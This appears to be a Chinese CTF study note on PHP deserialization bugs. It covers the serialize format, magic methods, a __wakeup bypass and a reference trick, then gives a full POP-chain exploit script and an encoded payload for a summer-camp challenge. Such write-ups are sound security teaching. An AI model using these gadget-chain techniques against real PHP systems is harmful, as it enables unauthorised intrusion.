php反序列化漏洞的整理
PHP序列化:php为了方便进行数据的传输,允许把复杂的数据对象,压缩到一个字符串中,使用serialize()函数。
PHP反序列化:将被压缩为字符串的复杂数据结构,重新恢复,使用unserialize()函数。
序列化格式解释
a - array 数组
b - boolean 布尔值
d - double double类型
i - integer 整数
o - common object 公共对象
r - reference 引用
s - string 字符串
C - custom object 自定义对象
O - class 类
N - null 空
R - pointer reference 指针
U - unicode string Unicode字符串
举例介绍:
O:3:“foo”:2:{s:4:”file”;s:9:”shell.php”;s:4:”data”;s:5:”aaaaa”;}
O:3: 参数类型为对象
“foo”:2: 参数名为foo,有两个值
S:4:”file”;s:9:”shell.php”; s:参数类型为字符串(数字为i),长度为4,值为file。长度为9的字符串shell.php
s:4:”data”;s:5:”aaaaa”;} 长度为4的字符串data,长度为5的字符串aaaaa
数组序列化
<?php
$data=['PHP','HTML','Java','Python'];
echo serialize($data);
结果:
a:4:{i:0;s:3:"PHP";i:1;s:4:"HTML";i:2;s:4:"Java";i:3;s:6:"Python";}
指针序列化
之前国赛just soso中有一步绕过就利用了指针序列化
if($this->token === $this->token_flag)
本来以为是伪随机数种子,后来发现只需在序列化中让$F->token=&$F->token_flag;
&表示取变量值,将两个变量的值在序列化反序列化过程中关联起来,就可以相等
漏洞产生原因
php之所以会存在反序列化的漏洞原因是一些魔法函数
__construct():当一个类被创建时自动调用
__destruct():当一个类被销毁时自动调用
__invoke():当把一个类当作函数使用时自动调用
__tostring():当把一个类当作字符串使用时自动调用
__wakeup():当调用unserialize()函数时自动调用
__sleep():当调用serialize()函数时自动调用
__call():当要调用的方法不存在或权限不足时自动调用
如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了
同样在之前国赛的just soso中有一个wakeup()的绕过, wakeup()触发于unserilize()调用之前,但是如果被反序列话的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得wakeup函数失效。
我们可以利用这种自动执行某些函数或方法的特性,执行我们相要的操作。
夏令营一道题目
<?php
include 'flag.php';
class Deep{
public $m1;
public $m2;
public function __destruct(){
$this->m1->boy();
}
}
class Dark{
public $m1;
public $m2;
public function boy(){
$this->m1->next_door();
}
}
class Fantasy{
public $m1;
public $m2;
public function __call($next_door,$arr){
$s = $this->m1;
$s();
}
}
class Happy{
public $m1;
public $m2;
public function __invoke(){
$this->m2="cnss".$this->m1;
}
}
class New_year{
public $s1;
public $s2;
public function __toString(){
$this->s1->get_flag();
return "1";
}
}
class GetFlag{
public function get_flag(){
global $flag;
echo $flag;
}
}
$a = $_GET['payload'];
unserialize($a);
show_source(__FILE__);
?>
反序列化脚本:
<?php
class Deep{
public $m1;
public $m2;
public function __construct(){
$this->m1= new Dark();#可以直接赋值位Fantasy()
}
public function __destruct(){
$this->m1->boy();
}
}
class Dark{
public $m1;
public $m2;
public function __construct(){
$this->m1= new Fantasy();
}
public function boy(){
$this->m1->next_door();
}
}
class Fantasy{
public $m1;
public $m2;
public function __construct(){#无法调用next_door方法时,就调用__call方法, $this->m1->next_door();所以此处将m1赋值为Happy()类,无法调用next_door,自动调用call方法
$this->m1= new Happy();
}
public function __call($next_door,$arr){
$s = $this->m1;
$s();
}
}
class Happy{
public $m1;
public $m2;
public function __construct(){
$this->m1= new New_year();//由于__toString()方法,所以要将New_year作为字符串来使用
}
public function __invoke(){
$this->m2="cnss".$this->m1;//字符串拼接来使用__toString()中的get_flag()
}
}
class New_year{
public $s1;
public $s2;
public function __construct(){
$this->s1= new GetFlag();//get_flag()在GetFlag类中,所以要先将s1赋值为GetFlag()才能使用get_flag()
}
public function __toString(){
$this->s1->get_flag();
return "1";
}
}
class GetFlag{
public function get_flag(){
global $flag;
echo $flag;
}
}
$a = new Deep;
echo urlencode(serialize($a));
payload:
O%3A4%3A%22Deep%22%3A2%3A%7Bs%3A2%3A%22m1%22%3BO%3A4%3A%22Dark%22%3A2%3A%7Bs%3A2%3A%22m1%22%3BO%3A7%3A%22Fantasy%22%3A2%3A%7Bs%3A2%3A%22m1%22%3BO%3A5%3A%22Happy%22%3A2%3A%7Bs%3A2%3A%22m1%22%3BO%3A8%3A%22New_year%22%3A2%3A%7Bs%3A2%3A%22s1%22%3BO%3A7%3A%22GetFlag%22%3A0%3A%7B%7Ds%3A2%3A%22s2%22%3BN%3B%7Ds%3A2%3A%22m2%22%3BN%3B%7Ds%3A2%3A%22m2%22%3BN%3B%7Ds%3A2%3A%22m2%22%3BN%3B%7Ds%3A2%3A%22m2%22%3BN%3B%7D